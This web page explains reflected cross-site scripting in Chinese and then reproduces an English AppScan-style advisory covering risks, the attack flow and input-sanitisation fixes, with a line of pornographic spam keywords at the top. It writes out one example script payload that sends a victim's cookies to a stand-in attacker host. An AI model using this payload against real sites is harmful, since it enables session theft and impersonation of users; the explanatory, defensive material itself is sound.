欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

1.       雖然攻擊者的Web Site也被卷入，但是并沒(méi)有直接包含進(jìn)來(lái)。攻擊者通過(guò)采用“jump station”方式將返回客戶(hù)，好像是合法的（It is used as a ‘jump station‘ for the malicious script sent by the attacker, to return to the victim‘s browser, as if it is legitimate.）。無(wú)論如何，由于用戶(hù)是在使用這個(gè)特定的網(wǎng)站，而且是這個(gè)網(wǎng)站的直接返回，因此可以認為是這個(gè)網(wǎng)站的安全漏洞。2.     這個(gè)懷有惡意的鏈接由攻擊者生成，可以包含在攻擊者自己維護的網(wǎng)站中。這個(gè)鏈接攻擊者也可以通過(guò)發(fā)送email的方式發(fā)送給受害人。3.     由于用戶(hù)輸入是作為form的字段值，可以知道這串惡意代碼從什么地方來(lái)的，4.       各種瀏覽器實(shí)現的不一樣，有時(shí)候在這種瀏覽器上沒(méi)有問(wèn)題，但是換一種瀏覽器就會(huì )有問(wèn)題。攻擊方法：寫(xiě)一個(gè)鏈接：  參數值為：<SCRIPT>document.location= ‘http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie</SCRIPT>這樣，當服務(wù)器返回時(shí)，上面這串腳本將自動(dòng)執行，將本地的Cookie發(fā)現指定的URL，用戶(hù)資料泄露了。解決方式：1.       加強對參數的校驗：一定要做，大量的漏洞都是針對參數未作校驗引出很多攻擊手法(會(huì )有如何檢查參數的單獨說(shuō)明)Cross-Site ScriptingApplicationWASC Threat ClassificationClient-side Attacks: Cross-site Scriptinghttp://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtmlCVE Reference(s)N/ASecurity RisksIt is possible to steal or manipulate customer session and cookies, which may be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userPossible CausesSanitation of hazardous characters was not performed correctly on user inputTechnical DescriptionThe Cross-Site Scripting attack is a privacy violation, that allows an attacker to acquire a legitimate user‘s credentials and to impersonate that user when interacting with a specific website. The attack hinges on the fact that the web site contains a script that returns a user‘s input (usually a parameter value) in an HTML page, without first sanitizing the input. This allows an input consisting of JavaScript code to be executed by the browser when the script returns this input in the response page. As a result, it is possible to form links to the site where one of the parameters consists of malicious JavaScript code. This code will be executed (by a user‘s browser) in the site context, granting it access to cookies that the user has for the site, and other windows in the site through the user‘s browser.The attack proceeds as follows: The attacker lures the legitimate user to click on a link that was produced by the attacker. When the user clicks on the link, this generates a request to the web-site containing a parameter value with malicious JavaScript code. If the web-site embeds this parameter value into the response HTML page (this is the essence of the site issue), the malicious code will run in the user‘s browser.Possible actions that can be performed by the script are:[1] Send user‘s cookies (for the legitimate site) to the attacker.[2] Send information that is accessible through the DOM (URLs, Form fields, etc.), to the attacker.The result is that the security and privacy of the victim user is compromised on the vulnerable site.Some notes:[1] Although the attacked web site is involved, it is not compromised directly. It is used as a ‘jump station‘ for the malicious script sent by the attacker, to return to the victim‘s browser, as if it is legitimate. However, since the privacy of the victim is breached in the context of the specific site, and since the site is directly responsible, it is considered a security flaw in the site.[2] The malicious link can be provided by the attacker, using a web site link, if the attacker maintains a site that is visited by the victim user. The malicious link can also be provided by email, if the attacker knows the user‘s email address, and the user‘s email client uses the browser to render the HTML message.[3] While user input is most commonly found in form field values (i.e. URL parameters), there are known attacks where the malicious code is embedded in the path, query, or in the HTTP Referrer headers, and even in cookies.[4] AppScan sends many types of Cross-Site Scripting attacks, including attacks that work only on specific browsers or versions of browsers. AppScan‘s "Show in Browser" feature uses Internet Explorer to show the vulnerability. In the case of variants to which Internet Explorer is not vulnerable, but other browsers are, the "Show in Browser" facility does not work and the popup is not shown. There are two possible scenarios for sending input to a web application that is vulnerable to cross-site scripting:General Fix RecommendationsThere are several issues whose remediation lies in sanitizing user input.By verifying that user input does not contain hazardous characters, it is possible to prevent malicious users from causing your application to execute unintended operations, such as launch arbitrary SQL queries, embed Javascript code to be executed on the client side, run various operating system commands etc.